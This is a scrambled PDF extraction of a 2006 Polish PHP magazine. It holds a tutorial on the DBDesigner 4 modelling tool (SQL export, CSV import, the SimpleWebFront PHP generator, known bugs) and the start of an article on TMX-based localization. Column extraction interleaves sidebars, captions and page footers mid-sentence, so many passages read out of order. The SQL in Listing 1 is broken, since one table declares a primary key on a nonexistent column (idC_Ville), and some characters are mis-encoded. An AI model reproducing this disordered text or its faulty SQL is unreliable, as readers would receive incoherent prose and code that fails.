Rysunek 2. Interfejs tworzenia tabeli

umieszczanie na nim obrazów: klikamy na ikonę paska narzędzi przedstawiającą drzewo, wybieramy w obszare roboczym miejsce, w którym

44

www.phpsolmag.org

PHP Solutions Nr 3/2006

DBDesigner 4
chcemy umieścić obraz, a następnie wybieramy plik graficzny i (opcjonalnie) ustalamy nazwę obrazu, uruchamiając tryb edycji podwójnym kliknięciem na niego, dodawanie komentarzy: klikalmy na ikonę paska narzędzi przedstawiającą literę T i wybieramy w obszarze roboczym miejsce docelowe. Podwójne kliknięcie na pole tekstowe pozwoli dodać komentarz, zmiana trybu wyświetlania modelu: główne informacje, typ notacji, szczegóły kolumn, siatka pomocnicza, itd) w menu Wyświetlanie (Display).

Narzędzia

l

l

Tworzenie dokumentacji

Gdy już skończycie wasz model, będziecie zapewne chcieli stworzyć dokumentację. DBD4 pomoże wam także w tej kwestii.

Rysunek 3. Model mcdtest
wpisujemy nazwę pliku i zapisujemy obraz jako BMP lub PNG. DBDesignera wybieramy plugins -> HtmlReport. Następnie wybieramy zdefiniowany wcześniej obszar (region), którego raport ma dotyczyć, wybieramy dodatkowe ustawienia i klikamy na ikonę Execute. Program zapyta nas o nazwę pliku, po czym zapisze w nim raport (Rysunek 4).

Eksport obrazu do pliku graficznego

Aby wyeksportować obraz do pliku graficznego, wchodzimy do menu Plik -> Eksportuj -> Eksportuj model jako obraz,

Sporządzanie raportu na podstawie bazy (plugin HTMLREPORT)

Ten plugin pozwala sporządzić opis struktury bazy w formie raportu w formacie HTML (Rysunek 4). W menu głównym

Listing 1. Wygenerowane polecenia SQL (mcdtest.txt)
-- ------------------------------------------------------------- Tabela kodów zwrotów grzecznościowych -- -----------------------------------------------------------CREATE TABLE C_Zwrot ( idC_Zwrot INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Lib_Civ_C VARCHAR(5) NULL, Lib_Civ_L VARCHAR(12) NULL, PRIMARY KEY(idC_Zwrot) ); -- ------------------------------------------------------------- Tabela miast -- -----------------------------------------------------------CREATE TABLE C_Miejsce ( idC_Miejsce INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Lib_Miejsce VARCHAR(60) NULL, PRIMARY KEY(idC_Ville) ); -- ------------------------------------------------------------- Tabela identyfikacji rekordów -- -----------------------------------------------------------CREATE TABLE Ident_agent ( idIdent_agent INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, C_Zwrot_idC_Zwrot INTEGER UNSIGNED NOT NULL, Imie VARCHAR(45) NOT NULL, Nazwisko VARCHAR(30) NULL, DataUrodzenia DATE NOT NULL, C_Miejsce_idC_Miejsce INTEGER UNSIGNED NOT NULL, PRIMARY KEY(idIdent_agent), INDEX Ident_agent_FKMiejsce(C_Miejsce_idC_Miejsce), INDEX Ident_agent_FKZwrot(C_Zwrot_idC_Zwrot) );

Praktyczne wykorzystanie gotowego modelu

Przejdźmy teraz do praktycznego wykorzystania gotowego modelu bazy danych. Co możemy z nim zrobić? Istniejące opcje obejmują: automatyczne utworzenie na jego podstawie skryptu SQL, zaimportowanie do niej danych z plików CSV, wygenerowanie PHP-owego interfejsu obsługi danych czy ułatwienie przeglądania bazy. Omówimy je po kolei.

Eksport struktury bazy do skryptu SQL

Aby na podstawie naszego modelu wygenerować skrypt SQL tworzący tabele bazodanowe, w menu głównym wybieramy pozycję Plik -> Eksportuj -> Skrypt tworzenia SQL (Export SQL Script). Pojawi się panel opcji , pozwalający wybrać tabele do wygenerowania, ustalić ich kolejność oraz zdecydować m.in. o tym, czy chcemy tworzyć klucze własne i obce. Zalecane jest korzystanie z parametrów domyślnych. Skrypt SQL zostanie wygenerowany, gdy wybierzemy jego zapis do schowka (clipboard) lub pliku. Na Listingu 1 przedstawiamy instrukcje SQL-owe dla naszego przykładu. Tak uzyskany plik możemy wykonać przy pomocy linii poleceń klienta My-

PHP Solutions Nr 3/2006

www.phpsolmag.org

45

Narzędzia

DBDesigner 4

SQL-a lub korzystając z takich narzędzi, jak phpMyAdmin. Założymy bazę mcdtest i wykonamy na niej uzyskany skrypt. Po utworzeniu tabel przejdziemy do ich uzupełniania – również w tym pomoże nam DBDesigner.

Import danych do bazy (plugin-in DataImporter)

Wspominaliśmy już, że będziemy wydobywać dane ze starej bazy przy użyciu plików CSV (ang. Comma-Separated Values), zawierające dane oddzielone przecinkami. Ich zaimportowanie do nowej bazy ułatwi plugin DataImporter: dzięki niemu dokonamy tego nie pisząc ani jednej linijki kodu! W menu głównym wybieramy Plugins/ DataImporter – pokaże się panel parametrów. Zanim to jednak zrobimy upewnijmy się, że MySQL jest włączony – zarówno pod Windows, jak i w Linuksie możemy tego dokonać uruchamiając klienta tego systemu bazodanowego (plik mysql) albo interfejs typu phpMyAdmin. Warto wiedzieć, że my pracujemy lokalnie na serwerze localhost. Następnie wybieramy plik z danymi do zaimportowania i nawiązujemy połączenie bazodanowe – klikamy na ikonę przedstawiającą plik z lupą (Destination database connection), po czym wybieramy bazę danych (mcdtest) ze znajdującego się po lewej stronie otwartego właśnie panelu drzewa i wpisujemy dane użytkownika (login i hasło, które może być puste) oraz klikamy na ikonę Connect (Rysunek 5). Wybierzmy teraz źródło danych. W tym celu klikniemy na ikonę ... (trzy kropki) znajdującą się na przycisku Import from Text Files, po czym przechodzimy do odpowiedniego folderu i wybieramy plik z danymi, na przykład agent.txt.

Rysunek 5. DataImporter : parametry pliku źródłowego

DBDesigner kontra inne narzędzia do modelowania

Na rynku istnieje wiele profesjonalnych narzędzi do modelowania danych (AllFusion® Erwin® Data Modeler, Oracle's Designer©, IBM's Rational Rose© czy theKompany's DataArchitect©). Dlaczego więc warto używać DBDesignera? Przede wszystkim, jest bardzo prosty w obsłudze i wielojęzyczny, a system pluginów oraz dostępny kod źródłowy (licencja GNU/GPL) umożliwia jego łatwą rozbudowę. Ma tez dobrą dokumentację (HTML, PDF i klipy we Flashu). Po drugie, współpracuje on z różnymi typami baz danych (MySQL, M SSQL, SQLite, Oracle, ODBC, itd). Nie bez znaczenia jest również fakt, iż DBDesigner jest narzędziem opensourcowym i darmowym oraz to, że jest niewielkich rozmiarów.

W prawej części panelu, od razu pojawi się wstępne odwzorowanie. Klikamy na Text Options i gdy ukażą się nam parametry (wygenerowane automatycznie), pozostawimy je w formie nienaruszonej, za wyjątkiem opcji First row contains field names, którą odhaczymy, ponieważ w naszym pliku nie ma wiersza tytułowego. Możemy nazwać pola wybierając każdą kolumnę za pomocą kliknięcia, a następnie oznaczając pole Fieldname. Za pomocą przycisku Column Mapping odwzorujemy nasze dane: zwiąże-

Rysunek 4. Lista dostarczona przez HtmlReport

my dane z naszego pliku źródłowego z polami w bazie danych. Najpierw wybierzemy tabelę docelową z listy Destination Table – w naszym przypadku będzie to Ident_agent. Ujrzymy pola tej tabeli – musimy je tylko przenieść z Field from source do odpowiednich pól w Fields of the destination table. Za pomoca przycisku General Options (Rysunek 6) zaznaczymy Clear table before data insert, wraz w dwiema innymi opcjami. Użycie tego przycisku umożliwia również automatyczną zamianę wybranych znaków po zaimportowaniu danych (przykładowo, gdybyśmy mieli pole typu email, to znak @ nie zostałby prawidłowo zinterpretowany i byłby zastąpiony przez à). Po ustaleniu parametrów, możemy je zapisać w celu ewentualnego późniejszego wykorzystania. Aby tego dokonać, klikamy na Store these settings as Preset, a następnie nadajemy temu zestawowi parametrów nazwę (np. impAgent). Możemy teraz kliknąć na przycisk Execute: dane zostaną wciągnięte do bazy, co możemy sprawdzić np. za pomocą phpMyAdmina albo należącego do DBDesignera Edytora Zapytań (Query Editor, Rysunek 7). W tym drugim przypadku kli-

46

www.phpsolmag.org

PHP Solutions Nr 3/2006

DBDesigner 4
kamy prawym przyciskiem na schemat tabeli Ident_agent i wybieramy polecenie Edycja danych w tabeli w menu kontekstowym. Otworzy się okno wyświetlające widok obejmujący dane w tabeli. Klikając w tym oknie na ikonę SQL, będziemy mieli dostęp do edytora SQL, co pozwoli nam wykonywać kwerendy dotyczące tabeli, a także m.in. aktualizować dane. To samo zrobimy dla dwóch pozostałych tabel, a następnie opuszczamy plugin. Baza została uzupełniona – zobaczmy teraz, jak z niej skorzystać przy pomocy innego plugina: SimpleWebFront.

Narzędzia

Rysunek 7. QueryEditor: Proste zapytania

Plugin SimpleWebFront

Historia

SimpleWebFront pozwala generować prosty PHP-owy interfejs do zarządzania danymi. Aplikacja ta będzie mogła działać niezależnie lub stanowić część większego projektu. Po uruchomieniu plugina SimpleWebFront (menu główne: plugins -> SimpleWebFront) wybieramy pozycję General Options (Rysunek 8) i podajemy informacje dotyczące połączenia z bazą danych mcdtest, a także docelowy tytuł aplikacji (Web Title) oraz położenie skryptów PHP, które zostaną wygenerowane – te trzy informacje są niezbędne. Aplikacja będzie się składała z kilkunastu plików, w tym index.php i db_open.php. Zwróćmy uwagę na dwie istotne sprawy:
l

DBDesigner został stworzony przez Michaela G. Zinnera, szefa ekipy FabFORCE.net. Strona internetowa fabFORCE.net powstała na początku 2003 roku, aby zaoferować platformę dla projektów Open Source rozwijanych przez założony w tym samym roku przez Zinnera zespół fabFORCE.net. Grupa ta tworzy opensourcowe narzędzia dla programistów, koncentrując się w szczególności na aplikacjach bazodanowych. W czasie powstania projektu DBDesigner Michael G. Zinner dołączył do MySQL AB, gdzie pracował nad programami: MySQL Administrator, MySQL Query Browser oraz MySQL Migration Toolkit. Aktualnie, jego zespół zajmuje się następcą DB Designera, noszącym nazwę MySQL Workbench. Nie będzie to przeróbka DBD4, tylko zupełnie nowa, wysoce wydajna aplikacja korzystająca z OpenGL-a. Na stronach fabFORCE.net znajduje się też wiele odnośników do stron związanych z grafiką, fotografią, obrazem i jego obróbką.
l

dopóki nie podamy wszystkich niezbędnych informacji, ikona Create Webpages będzie niedostępna (niektóre z tych informacji znajdują się pod innymi przyciskami),

musimy wpisać hasło. Może to być problemem, gdyż zwykle w środowisku testowym w ogóle go nie podajemy (jest ono pustym łańcuchem). SimpleWebFront nie toleruje takiego podejścia, więc trzeba mu wpisać dowolne hasło, ktore później możemy zmienić w wygenerowanym skrypcie PHP (zmienna $password = ""; w pliku db_open.php).

Następnie przechodzimy do panelu Views, gdzie po kliknięciu na Create new view lub

Add tables określamy żądany widok, m.in. nazwę, tabelę główną, sposób sortowania, kryterium wyszukiwania czy kolumny. Przejdźmy teraz do panelu Groups (Rysunek 9). Tutaj zdefiniujemy grupy widoków. Każdej grupie nadamy nazwę oraz przypiszemy do niej zdefiniowane przez nas widoki (wybrane widoki muszą się znaleźć na liście Assigned Views) lub określone podczas modelowania architektury bazy danych obszary (regiony). Zalecane jest regularne zapisywanie parametrów (Save). Po tych operacjach przycisk Create Pages stanie się wreszcie dostępny: my jednak dopracujemy nasze ustawienia. Wybierzmy panel Grid Options. Określimy w nim, które spośród zdefiniowanych za pomocą widoków i grup kolumn będą

Reverse Engineering

Rysunek 6. DataImporter: różne opcje

Reverse Engineering to w tym przypadku odtwarzanie modelu graficznego istniejącej bazy danych. W programie DB Designer jest dostępne jako opcja w menu głównym (Database -> Reverse Engineering) i wymaga wcześniejszego połączenia z bazą, z której będziemy korzystać (Plik -> Otwórz bazę danych). Następnie na panelu parametrów wybieramy typ bazy danych (MySQL, Oracle, itd), tabele, które wejdą w skład modelu oraz typy powiązań między tabelami. Wygenerowany model zostanie umieszczony w obszarze roboczym i będziemy mogli go swobodnie edytować.

PHP Solutions Nr 3/2006

www.phpsolmag.org

47

Narzędzia

DBDesigner 4

widoczne w docelowym skrypcie PHP, zaznaczając lub odznaczając nazwy tych atrybutów. Każdej kolumnie możemy również nadać etykietę (Caption), pod którą będzie ona widoczna na stronie docelowej. Ustawimy także liczbę wierszy na stronie. Pozostało już tylko wygenerować (Create Webpages)i zapisać (Save) skrypt (index.php). Po zmianie zapisanego w skrypcie db_open.php hasła na puste ($password='') wywołamy utworzony skrypt index.php w przeglądarce internetowej. Pozwala on m.in. ustalić kryteria wyszukiwania (w tym celu należy kliknąć na ikonie przedstawiającej lupę, Rysunek 10) czy aktualizować dane klikając na ikonę z kluczem mechanika (Rysunek 11). Uwaga: skrypt nie sprawdza poprawności danych, a zły wpis zostanie potraktowany jak dobry i zapisany z wartością domyślną (np. zła data jako 0000-00-00).

Rysunek 9. SimpleWebFront, grupy

Asystent zapytań

Asystent zapytań (Rysunek 12) pomaga przy formułowaniu kwerend SQL-owych. Uruchomimy go zmieniając w menu głównym tryb wyświetlania na Tryb zapytań (Display -> Query mode). Jak wygląda ułatwienie tworzenia zapytań? Po pierwsze, możemy przeciągnąć nazwę tabeli lub pola z obszaru roboczego do obszaru wprowadzania zapytań – pojawi się zestaw kwerend do wyboru. Po drugie, w pasku narzędzi DBDesignera znajdą się m.in. ikony przedstawiające kwerendy oraz ich elementy. Wybierając odpowiednie zapytanie w tym pasku, a następnie klikając na danej nazwie tabeli lub polu w obszarze roboczym spowodujemy utworzenie odpowiedniej kwerendy. UWAGA: ta drua możliwość nie zawsze działa, niestety. Zawsze możemy natomiast ręcznie

Rysunek 10. SimpleWebFront: wybór widoków

uzupełniać wstępnie utworzone kwerendy, a gdy jesteśmy połączeni z bazą danych (menu główne: Database -> Connect...), również je wykonywać. Zapytanie wykonamy klikając na żółtą ikonę z zieloną strzałką: jego rezultat ukaże się w oknie po prawej stronie.

Inne możliwe sposoby wykorzystania

Załóżmy, że korzystamy z narzędzia prowadzącego statystyki odwiedzin na naszej witrynie internetowej i zapisującego je w bazie danych. Pojawiła się no-

wa wersja tej aplikacji, w której zmieniono również strukturę bazy danych. Chcielibyśmy zainstalować to nowe wydanie systemu statystyk i zaimportować do niego zgromadzone dotychczas dane – niestety, twórca narzędzia tego nie przewidział. Co robić? Zainstalujmy tę nową wersję systemu statystyk i załóżmy dla niego nową bazę (koniecznie pod inną nazwą niż baza już istniejąca). Następnie odtwórzmy strukturę obu baz, np. łącząc się kolejno z każdą z nich spod DBDesignera lub korzystając z phpMyAdmina. Po wykonaniu tej czynności użyjemy funkcji DBDesignera o nazwie Reverse Engineering (menu główne: Database -> Reverse Engineering, zobacz Ramka Reverse Engineering) w celu zrekonstruowania modelu każdej z baz w formie graficznej. Korzystając z Asystenta Zapytań oraz innych funkcji DBDesignera, które opisaliśmy, łatwo porównamy strukturę obu baz i przeniesiemy dane ze starej do nowej.

Porady i sztuczki
Rysunek 8. SimpleWebFront, parametry Ogólne

Korzystając z programu warto wiedzieć o kilku użytecznych rzeczach. Oto wskazówki ułatwiające pracę z programem:

48

www.phpsolmag.org

PHP Solutions Nr 3/2006

DBDesigner 4
l

Narzędzia

l

l

l

l

jak najczęściej korzystajmy z Nawigatora (Navigation & Info), gdyż niezmiernie ułatwia on poruszanie się obszarze roboczym (szczególnie przy bardziej rozbudowanym modelu), jeśli nasz model zawiera wiele tabel, możemy mieć trudność z odnalezieniem tej właściwej w obszarze roboczym. Tu pomoże nam panel Model BD (DB Model), pozwalający przeglądać tabele w postaci drzewa i wybierać z niego dowolne pozycje, jeżeli chcemy wydrukować obszar roboczy, warto wyeksportować go jako obraz (menu główne: Plik -> Eksportuj -> Eksportuj Model jako Obraz), zamiast korzystać z opcji Plik -> Wyślij na drukarkę, gdyż będziemy mogli poddać go obróbce. Jest to szczególnie istotne, gdy model jest duży i nie mieści się na ekranie, jedynymi obsługiwanymi przez DBDesignera formatami obrazów są BMP i PNG. Ze względu na rozmiar warto wybrać ten drugi, plugin SimpleWebFront działa w zdefiniowanych przez użytkownika Obszarach (Regionach). Jeżeli chcemy obsłużyć przy jego pomocy cały model, musimy zdefiniować Obszar, który będzie go obejmował. Warto określić kolor tego obszaru jako neutralny, np. biały,

Rysunek 12. Asystent zapytań
cza głównego nie pojawia się od razu – zwykle trzeba nacisnąć [TAB] albo kliknąć parę razy na liście atrybutów poniżej tego pola, nie zawsze działa wybieranie fragmentów kwerend w Asystencie Zapytań, prawdziwy bug: funkcja DataType Replace – zastąpienia typów danych (w jednej lub wielu tabelach) przez zestaw innych typów nie działa, jeśli musimy edytować parametr (np. zmienić CHAR(8) na DATE), gdy wyjdziemy z plugina HtmlReport, pokaże on, że model został zmodyfikowany i zaproponuje zapisanie zmian. Istniejący w pluginie błąd powoduje duplikację backslashy (\) w pliku modelu, w strefie <tableprefixes>. Ta duplikacja może przybierać ogromne rozmiary, prowadząc nawet do nadmiernego obciążenia pamięci komputera. Problem ten rozwiążemy ręcznie, wyłączając DBDesigner, otwierając ten plik i usuwając backslashe za pomocą dowolnego edytora programistycznego. Zabieg ten musimy powtarzać po 3 lub 4 użyciach pluginu, tłumaczenia na języki niemiecki i francuski są miejscami niekompletne.

l

l

l

Pojawiające się problemy i błędy programu DBDesigner

dane i wykonywać zapytania czy przenosić dane między bazami o różnych strukturach. Bardzo cenną cechą DBDesignera jest to, że nie służy on wyłącznie projektowaniu baz, ale wspiera i ułatwia codzienną pracę z bazami. Program ma wiele więcej zastosowań, o których nie wspomnieliśmy w niniejszym artykule, takich jak synchronizacja i utrzymanie bazy danych. Te cechy bardzo często okazują się bardzo przydatne. Podsumowując: szeroki wachlarz możliwości programu, wygoda obsługi i naprawdę dobra dokumentacja czynią z DBDesignera profesjonalne narzędzie przydatne każdemu, kto ma do czynienia z tworzeniem i zarządzaniem bazami danych. Poświęcajmy należytą uwagę projektowaniu, bo poprawne modelowanie danych jest gwarancją skutecznoci podczas formuowania zapytań do bazy danych. n

Podczas pracy z DB Designerem, musimy uważać na błędy. Mogą one zaważyć na strukturze bazy, dlatego nie należy ich lekceważyć:
l

O autorze
Pierre Hebel jest analitykiem informatycznym. Pracował 7 lat w SSII (CGI : Compagnie Générale Informatique). Obecnie zajmuje się integrowaniem systemu zarządzania szpitalem jako ekspert techniczny do spraw ERP SIGAGIP na maszynach mainframe. Jest całkowitym samoukiem w tematyce komputerowej. Od roku 1999 zrealizował i współuczestniczył w kilku projektach i witrynach internetowych należących do grup amatorskich i profesjonalnych – m.in. kierował projektem medycznym GTA w środowisku CMS opartym na PHP, Javie i MySQL-u. Kontakt z autorem: [email protected]

przy tworzeniu nowej tabeli, definiowana automatycznie kolumna klul

Konkluzja

Rysunek 11. SimpleWebFront: Aktualizowanie widoku

Na rynku istnieje co najmniej kilka rozwiązań, których założenia zbliżóne są do założeń DBDesignera. Programy te pozwalają w znaczący sposób ułatwić pracę z bazami, umożliwiają bowiem bardzo profesjonalne podejście już do etapu modelowania. W artykule pokazaliśmy, jak korzystając z DBDesignera łatwo zaprojektować strukturę bazy, wczytać do niej

PHP Solutions Nr 3/2006

www.phpsolmag.org

49

Narzędzia

Lokalizacja w PHP przy użyciu standardu TMX
Nicola Asuni

Stopień trudności: lll

Wyobraź sobie, że jesteś głównym programistą w zespole budującym olbrzymią aplikację, która jako produkt przeznaczony na rynek globalny musi wspierać dziesięć różnych języków. Najprawdopodobniej nie chciałbyś udostępnić swoich kodów źródłowych osobom postronnym w celu wykonania tłumaczenia i mieć złudne nadzieje, że w ramach tego procesu nie pojawią się żadne „przypadkowe” błędy. Na szczęście nie musiałbyś tego robić: dzięki TMX, Twoje tłumaczenie mogłoby być wykonane szybko i łatwo, zaś Twój kod pozostałby nienaruszony.

S

W SIECI
1. http://tmxphpbridge.sourcef orge.net – klasa pomostowa PHP-TMX 2. http://www.lisa.org – witryna organizacji LISA 3. http://tecnick.com – strona domowa firmy Tecnick.com

tandard TMX (ang. Translation Memory eXchange) powstał w ramach projektu Oscar (skrót angielskich słów: Open Standards for Container/Content Allowing Re-use), wykonywanego w ramach jeden z inicjatyw stowarzyszenia LISA (ang. Localization Industry Standards Association; patrz: ramka LISA). Celem autorów TMX było dostarczenie neutralnego systemu wymiany danych pomiędzy różnymi systemami translacji, przy jednoczesnej minimalizacji i eliminacji strat krytycznych informacji. TMX jest w pełni zgodny ze standardem XML. Wspiera również kodowanie znaków Unicode, oraz wielorakie standardy ISO (dotyczące między innymi formatów opisu daty/czasu, kody językowe i narodowe).

blic jako kontenerów translacyjnych (elementów służących do przechowywania tłumaczonego tekstu). W takim kontekście, zasoby tekstowe (np. menu, opisy, nagłówki, informacje dla użytkownika) są przechowywane bezpośrednio w kodzie źródłowym, jako elementy tablic, do których można się w razie potrzeby odwoływać. W ogólnym przypadku, korzystając z takiej techniki lokalizacji tworzy się oddzielny plik, bądź zbiór plików dla każdego języka wspieranego przez aplikację. Na Li-

Co należy wiedzieć...

Powinieneś znać podstawy PHP oraz XML. Przyda się również wiedza związana z zagadnieniem internacjonalizacji.

Od tablic do TMX

Co obiecujemy...

Duża cześć oprogramowania pisanego w PHP jest lokalizowana przy użyciu ta-

Po przeczytaniu artykułu będziesz wiedział jak obsłużyć lokalizację projektu PHP przy użyciu TMX.

50

www.phpsolmag.org

PHP Solutions Nr 3/2006

Lokalizacja na bazie TMX

Narzędzia

stingu 1 przedstawiony jest przykładowy tekst Witaj Świecie w języku angielskim i włoskim, zdefiniowany w dwóch plikach: english.php and italian.php. Biorąc pod uwagę, że wielu programistów postępuje w ten sposób, prezentowane rozwiązanie musi działać poprawnie

– i rzeczywiście działa. Dlaczego zatem mielibyśmy zaprzestać jego używania? Pierwszy i prawdopodobnie najważniejszy z powodów to komfort potencjalnych tłumaczy. Kiedy projekt rośnie i staje się umiędzynarodowiony, niemożliwością jest aby programiści zajmowali się

Listing 1. Typowa implementacja kontenerów translacyjnych w języku PHP
<?php // english.php $res = Array(); $res['DatabaseEmpty'] = "The database is empty!"; $res['HelloWorld'] = "Hello World!"; ?> <?php // italian.php $res = Array(); $res['DatabaseEmpty'] = "Il database č vuoto!"; $res['HelloWorld'] = "Ciao a tutti!"; ?>

Listing 2. Przykład pliku TMX
<?xml version="1.0" ?> <tmx version="1.4"> <header creationtool="XYZTool" creationtoolversion="1.01-023" datatype="PlainText" segtype="sentence" adminlang="en-us" srclang="EN" o-tmf="ABCTransMem"> </header> <body> <tu tuid="DatabaseEmpty" datatype="plaintext"> <tuv xml:lang="en"> <seg>The database is empty!</seg> </tuv> <tuv xml:lang="it"> <seg>Il database č vuoto!</seg> </tuv> </tu> <tu tuid="HelloWorld" datatype="plaintext"> <tuv xml:lang="en"> <seg>Hello World!</seg> </tuv> <tuv xml:lang="it"> <seg>Ciao a Tutti!</seg> </tuv> </tu> </body> </tmx>

tłumaczeniem. Tak też jest zazwyczaj w praktyce, to znaczy: nikt nie zmusza programisty do rozszerzania istniejącego kodu o obsługę nowego języka – tym zajmują się zazwyczaj tłumacze, czyli (w ogólnym przypadku) osoby nie potrafiące programować. W tym miejscu mamy idealną okazję na pojawienie się przypadkowych błędów w kodzie: wystarczy, że tłumacz niechcący usunie jeden średnik (;) lub doda cudzysłów. W rezultacie, po każdym tłumaczeniu kod wymaga ponownej rewizji, którą muszą wykonać programiści. Z drugiej strony, składowanie zasobów tekstowych w formacie TMX pozwala tłumaczom eksportować i importować dane pomiędzy swoimi preferowanymi narzędziami (jak wspominałem wcześniej, istnieje wiele takich narzędzi). Zasoby powiązane z procesem tłumaczenia są całkowicie odseparowane i uniezależnione od jakiegokolwiek języka programowania. Wspomniane narzędzia pozwalają modyfikować zawartość dokumentu lecz chronią strukturę tagów, dzięki czemu nie ma obawy, że tłumacz coś „zepsuje”. Kolejny powód, który sprawia, że tablice nie są dobrym rozwiązaniem w kontekście mechanizmów wsparcia internacjona-

Internacjonalizacja

Listing 3. Sposób użycia klasy TMXResouceBundle
// 1. dołaczamy plik z definicją klasy TMXResourceBundle require_once('TMXResourceBundle.php'); // 2. tworzymy instancję obiektu klasy TMXResourceBundle specyfikując przy tym // nazwę pliku z zasobami TMX oraz kod interesującego nas języka $tmxres = new TMXResourceBundle("tmx_file_name.xml","en"); // 3. wyświetlamy napis odpowiadający identyfikatorowi 'HelloWorld' echo $tmxres->resource['HelloWorld'];

Internacjonalizacja (ang. Internationalization; w skrócie: i18n) jest w kontekście inżynierii oprogramowania procesem planowania oraz implementacji produktów i usług w taki sposób, aby cechowały się one łatwością adaptacji do specyficznych aspektów kulturowych (głównie lokalnych języków). Wspomniany proces adaptacji takich produktów nazywamy lokalizacją. Jednym z głównych aspektów internacjonalizacji jest odseparowanie bazowego kodu źródłowego produktu od wszelkiego rodzaju zasobów (tekstów, nagłówków, informacji) które są zmienne w kontekście różnych języków bądź kultur. Takie podejście znacznie upraszcza proces tłumaczenia – dzięki temu, że wspomniane zasoby są dobrze zdefiniowane i odseparowane w zewnętrznych Kontenerach Translacyjnych (ang. Translation Memories). Kontenery Translacyjne, zwane również Bazami Translacji, to zbiory sentencji zapisane w języku referencyjnym, powiązane z odpowiadającymi im tłumaczeniami w językach obcych. Sentencja referencyjna powiązana z tłumaczeniami nazywana jest Jednostką Translacyjną (ang. Translation Memory Unit).

PHP Solutions Nr 3/2006

www.phpsolmag.org

51

Narzędzia

Lokalizacja na bazie TMX
odpowiadający tej jednostce (w naszym przykładzie jest to czysty tekst). Wewnątrz sekcji <tu> definiujemy wszystkie wersje językowe tekstu przechowywanego w danym kontenerze. Każda wersja jest reprezentowana przez tag <tuv> (ang. translation unit variant), definiujący język (np. xml:lang=”en” dla angielskiego). Czysty tekst tłumaczenia umieszczony jest w segmencie, reprezentowanym przez element opisany parą tagów: <seg>...</seg>. W porządku, umieściliśmy nasz tekst w dokumencie XML. Nie zamierzam zanudzać czytelników (a szczególnie: czytelników-programistów) kolejnym wywodem o wyższości tego formatu opisu danych nad innymi formatami. Jednak jakie są wady tego rozwiązania? Czy takowe w ogóle istnieją? Cóż, faktem jest, że tablica nadal pozostaje najbardziej naturalnym kontenerem do przechowywania danych w PHP, zaś korzystanie z dokumentu XML wiąże sie z dodatkowym parsowaniem. W tej sytuacji dobrze byłoby użyć klasy (nazwijmy ją roboczo klasą pomostową PHP-TMX), która przeczyta dane bezpośrednio z dokumentu TMX/XML i wypełni nimi tablicę PHP (jak pokazano na Rysunku 1). Takie podejście pozwoliłoby nam jednocześnie wykorzystać zalety obydwu rozwiązań! Podstawową wadę tego podejścia stanowi potrzeba wczytywania całego dokumentu TMX do pamięci, co może stanowić poważny narzut (głównie w kontekście czasu i pamięci). Niedogodność tę można zniwelować przy wykorzystaniu technik keszowania.

��� ����������

���

������� ������

��� ����

Rysunek 1. Połączenie PHP i TMX lizacji, to niski poziom możności ponownego użycia tłumaczonych zasobów. Warto zauważyć, że na rynku globalnym koszty tłumaczenia (oraz jego uaktualnień) mogą bardzo szybko rosnąć. W tej sytuacji dobrym pomysłem jest odseparowanie zasobów powiązanych z translacją i zapewnienie możliwości wykorzystania ich później, w innym kontekście. my dwa kontenery: DatabaseEmpty oraz HelloWorld. Spójrzmy na Listing 2. Co widzimy? Każdy plik TMX rozpoczyna się jak zwyczajny plik XML: <?xml....?>; dalej otwierany jest element <tmx>, stanowiący korzeń dokumentu. Pomińmy tag <header>, który przechowuje informacje o autorze pliku i narzędziu wykorzystanym do jego stworzenia, przejdźmy od razu do elementu <body> i zawartych tam sekcji <tu>...</tu>. Każda z tych sekcji stanowi jednostkę translacji (ang. translation unit; stąd skrót tu), reprezentującą poszczególne kontenery translacyjne. Każda taka jednostka jest identyfikowana przez tuid, stanowiący unikalną nazwę kontenera. W tagu rozpoczynającym jednostkę translacji możemy też zdefiniować typ danych

Przygotowanie do tłumaczenia: kontenery translacyjne

Przygotujmy się do tłumaczenia. Na początek potrzebujemy Kontenerów Translacyjnych (ang. Translation Memories, TM), o których wspominałem wcześniej w kontekście tablic PHP. TMX do tworzenia, składowania i przetwarzania takich kontenerów używa języka XML. Do ich budowy wykorzystuje się zazwyczaj specyficzne oprogramowanie narzędziowe określane jako CAT (ang. Computer Aided Translation), jednak biorąc pod uwagę niewielkie rozmiary naszego przykładowego projektu, kontenery te stworzymy ręcznie. Załóżmy, że w kontekście naszego projektu potrzebować będziemy dwóch wiadomości: Baza danych jest pusta (ang. Database is empty) oraz Witaj Świecie! (ang. Hello, World!). Wspomniane zasoby opisane będą w dwóch językach: angielskim i włoskim. Do ich przechowywania stworzy-

Klasa pomostowa PHP-TMX

Dla wszystkich czytelników zaintrygowanych tematem mam dobrą wiadomość: wspomnianej klasy nie musimy wcale bu-

Polecana literatura
Ÿ Ÿ Ÿ Ÿ Ÿ Ÿ Ÿ Asuni N, "Java Localization with TMX standard" [wersja online] 2004-10-14, http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=article_tmx Asuni N, "TMXResourceBundle – TMX Java Bridge" [wersja online] 2005-01-08, http://tmxjavabridge.sourceforge.net Itagaki M, "Use XML as a Java Localization Solution" [wersja online] 2000-11-10, http://www.ftponline.com/javapro/archives/mi0011/default.asp O'Conner J, "Java Internationalization: Localization with ResourceBundles" [wersja online] 1998-10-01, http://java.sun.com/developer/technicalArticles/Intl/ResourceBundles OSCAR – LISA, "TMX – Translation Memory eXchange" [wersja online] 2004-10-01, http://www.lisa.org/standards/tmx OSCAR – LISA, "TMX 1.4b Specification" [wersja online] 2005-03-26, http://www.lisa.org/standards/tmx/tmx.html W3C, "Extensible Markup Language (XML)" [online] 2005-08-02, http://www.w3.org/XML

52

www.phpsolmag.org

PHP Solutions Nr 3/2006

Narzędzia

Lokalizacja na bazie TMX

